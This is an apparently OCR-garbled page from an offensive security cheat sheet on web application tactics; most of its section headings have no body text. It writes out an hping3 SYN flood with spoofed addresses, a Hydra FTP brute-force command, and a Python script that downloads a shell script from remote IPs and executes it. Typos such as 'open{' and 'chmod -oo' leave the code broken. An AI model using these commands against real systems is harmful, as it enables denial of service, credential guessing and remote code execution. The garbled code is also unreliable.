Web

Web Application TTPs

HPING3 DoS

hping3 targetiP --flood --frag --spoof ip --destport # --syn

Hydra Online Brute Force

hydra -1 ftp -P words -v targetiP ftp

Download HTTP File and Execute

#!/usr/bin/python import urllib2, os
urls = [11 1.1.1.1'',"2.2.2.2"] port = 11 80"
payload = "cb.sh"
for url in urls:
u = "http://%s:%s/%s" % (url, port, payload) try:
r = urllib2.urlopen(u)
wfile = open{"/tmp/cb.sh", "wb") wfile.write(r.read()) wfile.close ()
break
except: continue
if os.path.exists("/tmp/cb.sh"): os.system("chmod -oo /tmp/cb.sh") os. system ("/tmp/cb. sh")

Hashcat

Malicious Javascript

Execute Fileless Scripts in Golang

Golang Reverse Shell

Web Applications

Command Injection

Special Characters

Ngrok for Command Injection:

Useful Commands: Linux

Useful Commands: Windows

Both Unix and Windows

Time Delay Commands

Redirecting Output

OOB (Out Of Band) Exploitation

WAF Bypasses

XSS Cheat Sheet:

https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

SSRF Bypasses:

WayBack Machine Enumerator

Python script for enumerating Wayback Machine internet archives for potential subdomains, sites, and files; specifically potential password and robots.txt files.

Or use this one-liner to screenshot web pages with EyeWitness!

Golang Webserver Banner Scanner

This program reads in a file of IP addresses, outputting the server fingerprint to the terminal.

Minimal Golang WebDAV Server

Apple Filing Protocol (AFP)

The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, is a specialized network protocol included within the Apple File Service (AFS). It is designed to provide file services for macOS and the classic Mac OS.

Pre-Commit Hooks to Prevent Credential Leaks

Scanning Git History for Secrets

Truffleroasting GitHub Organizations

Turning Nmap into a Vulnerability Scanner Using GitHub Actions

XSS Testing

Use these strings on all input fields and identify what remains after filtering for XSS attacks (Source: Cross Site Scripting Vulnerability Payload List):

Last updated